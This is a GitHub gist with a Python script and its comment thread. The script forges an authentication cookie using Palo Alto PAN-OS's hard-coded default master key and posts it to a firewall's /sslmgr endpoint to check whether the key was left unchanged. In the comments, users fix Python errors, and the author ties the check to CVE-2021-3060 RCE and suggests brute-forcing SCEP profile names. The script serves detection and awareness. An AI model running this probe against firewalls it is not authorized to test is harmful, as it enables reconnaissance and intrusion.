-
-
Save rqu1/6175cb2972291fc9ac96ef18f72b792c to your computer and use it in GitHub Desktop.
from hashlib import md5, sha1 | |
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes | |
from cryptography.hazmat.backends import default_backend | |
from base64 import b64encode, b64decode | |
import sys, time | |
import requests | |
DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8' | |
class PanCrypt(): | |
def __init__(self, key=DEFAULT_MASTERKEY): | |
backend=default_backend() | |
key=self._derivekey(key) | |
self.c=Cipher(algorithms.AES(key), modes.CBC(b'\0'*16), backend=backend) | |
def _derivekey(self,key): | |
salt=b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork") | |
return md5(key+salt).digest()*2 | |
def _pad(self, d): | |
plen=16-(len(d)%16) | |
return d+(chr(plen)*plen).encode() | |
def _encrypt(self,data): | |
e=self.c.encryptor() | |
return e.update(self._pad(data)) + e.finalize() | |
def encrypt(self, data): | |
v='AQ==' # version 1 | |
hash=b64encode(sha1(data.encode()).digest()).decode() | |
ct=b64encode(self._encrypt(data.encode())).decode() | |
return '-'+v+hash+ct | |
def getPayload(spn): | |
email="test@test.test" | |
user="test" | |
hostid="test" | |
expiry=str(int(time.time())+1000000) | |
token_pt=":".join((expiry, user, hostid)) | |
token=PanCrypt().encrypt(token_pt) | |
return "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token) | |
resp_default="<msg>Unable to find the configuration</msg>" | |
resp_params="<msg>Invalid parameters</msg>" | |
resp_invalid="<msg>Invalid Cookie</msg>" | |
resp_good="<msg>Unable to generate client certificate</msg>" | |
resps={ | |
resp_default:"Default MK", | |
resp_params: "Invalid parameters, bug?", | |
resp_invalid: "MK is not default", | |
resp_good: "Default MK, SCEP enabled and correct scep-profile-name", | |
} | |
def classify(resp): | |
for i in resps: | |
if i in resp: return resps[i] | |
return "unknown" | |
if __name__=="__main__": | |
if len(sys.argv)<2: | |
print("usage: checkmk.py <host>") | |
host=sys.argv[1]+"/sslmgr" | |
spn="test" | |
if len(sys.argv)>2: | |
spn=sys.argv[2] | |
data=getPayload(spn).encode() | |
if "http" not in host: host="https://"+host | |
#print("curl -k -d '{}' '{}'".format(data, host)) | |
r=requests.post(host, data=data, headers={"content-type":"application/x-www-form-urlencoded"},verify=False) | |
print(r.text) | |
print(classify(r.text)) | |
FYI: I work with a coding education company, and one of our students just shared this. You seem to have shared your DEFAULT_MASTERKEY in a public file. Unfortunately, just tagging something as "Secret" doesn't make it secret. You'll likely want to make this gist private, or edit it so your DEFAULT_MASTERKEY is hidden in an environment variable.
That's kind of the point. It's a script to check if a known default key is in use.
FYI: I work with a coding education company, and one of our students just shared this. You seem to have shared your DEFAULT_MASTERKEY in a public file. Unfortunately, just tagging something as "Secret" doesn't make it secret. You'll likely want to make this gist private, or edit it so your DEFAULT_MASTERKEY is hidden in an environment variable.
That's the point of this script - to both raise awareness about an issue, and demonstrate how it truly is an issue. As the title describes, to check if the default hard-coded secret is in use, or whether the admin of the device has changed it (in which case this script would fail / return an unable to generate message)
I keep getting multiple errors when running the script in python3
python3 checkmk.py https://vpn address
Traceback (most recent call last):
File "/home/kali/Desktop/checkmk.py", line 64, in
data=getPayload(spn)
File "/home/kali/Desktop/checkmk.py", line 36, in getPayload
token=PanCrypt().encrypt(token_pt)
File "/home/kali/Desktop/checkmk.py", line 28, in encrypt
return '-'+v+hash+ct
TypeError: can only concatenate str (not "bytes") to str
I cant find what it's complaining about
The return statement is trying to concatenate '-'
(a string) with the variables v
, hash
, and ct
, which all appear to be bytes-like objects. Changing it to return b'-'+v+hash+ct
gets past that error, but then proceeds to return an overflow error for me.
It's Getting killed at line 20.
I am having the same overflow issue aswell after adding in the b at line 28
$ python3 checkmk.py ip
Killed
Line 25 is a byte sequence, not a literal string. Line 28 is concatenating two literal strings (hash
and ct
) with byte sequence v
. Drop the "b" from v
variable declaration to resolve that specific issue
This is likely a Py2 script though...
Line 25 is a byte sequence, not a literal string. Line 28 is concatenating two literal strings with byte sequence
v
. Drop the "b" fromv
variable declaration to resolve that specific issue
I got TypeError: can't concat str to bytes
after removing the "b" from v Variable
The problem is a limitation of requests and SSL and how it reads files into memory and sign them. If the SSL sign is larger than 2GB, you'll get the "OverflowError: string longer than 2147483647 bytes" error.
Many suggest using from requests_toolbelt import MultipartEncoder and then pushing it up this way, so I'll experiment with this and report back
for anyone getting python errors, it's a python2 script. It only has b'' stuff because I was copying and pasting from some py3 scripts
I was finally able to get this to work by installing python27 fresh and installing cryptography and requests. Haven't managed to prove its effectiveness yet on a vulnerable machine but patched devices I am getting back a Unable to find the config response which is what I assume is the response you get if target is not vulnerable
Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but maybe it doesn't matter if the vulnerable component (SCEP) isn't in use anyway. Someone with more domain-specific knowledge please correct me if I'm mistaken, though.
Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but it seems like it doesn't matter if the vulnerable component (SCEP) isn't in use anyway.
Yep I just reread through the code after making my comment and saw that. Have plnety with Default MK in use but have not got a resp_good hit yet. Worth changing regardless but curious if they are considered "vulnerable" without the SCEP aspect
Yep I just reread through the code after making my comment and saw that. Have plnety with Default MK in use but have not got a resp_good hit yet. Worth changing regardless but curious if they are considered "vulnerable" without the SCEP aspect
the script has the scep configuration name hardcoded to "test", so that's pretty unlikely to show up on a real production device. The SCEP aspect is due to the fact that this tool is a byproduct of CVE-2021-3060. If you aren't patched for CVE-2021-3060 and you can identify a valid scep-profile-name, you are vulnerable to RCE. Some small modifications to this script could let you try to brute force that valid name, if scep is enabled. Otherwise, the MK is used for a ton of other stuff in PAN-OS but it's mainly an issue from an insider threat scenario (secrets in device config are encrypted with the MK, and some admin interface functionality uses the MK for eg. xmlapi auth keys).
so, you're probably not at immediate risk of RCE, but its still probably a good idea to change it
Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but maybe it doesn't matter if the vulnerable component (SCEP) isn't in use anyway. Someone with more domain-specific knowledge please correct me if I'm mistaken, though.
"Unable to find the configuration" is the response for when the default master key is in use, unless the SCEP profile is named "test" (hardcoded in the script). The response for invalid SCEP profile name is the same as the response for SCEP not being configured.
And here I was thinking that hard coded creds in network gear was a Cisco playbook.
Having given this a go yesterday, for some odd reason the data payload was being generated as a mahoosiv file (2gb) and after some debugging, it looked like the culprit was
#34 expiry=bytes(int(time.time())+1000000)
So a colleague and I fixed that by using
expiry = struct.pack("<L", int(time.time() + 1000000))
This now does generate a more suitable payload size of 207 bytes
I'm still playing around with this, for example adding what @rqu1 mentioned above about brute-forcing valid names but for now, the code can be found here https://github.com/danielcuthbert/random_scrapers/blob/main/paloaltokeys.py
expiry = struct.pack("<L", int(time.time() + 1000000))
This does the wrong thing. The timestamp should be a textual unix timestamp, not packed. I fixed my script in this gist with
expiry=str(int(time.time())+1000000).encode()
thanks though!
aaah got ya, cool ;)
It's working fine, but using Dan's fork as it was easier to understand result from server.
Thank you both.
Hi Team,
I am just a firewall Administrator. Can Someone share the steps to run this script, please?
Many thanks for considering my request.
FYI: I work with a coding education company, and one of our students just shared this. You seem to have shared your DEFAULT_MASTERKEY in a public file. Unfortunately, just tagging something as "Secret" doesn't make it secret. You'll likely want to make this gist private, or edit it so your DEFAULT_MASTERKEY is hidden in an environment variable.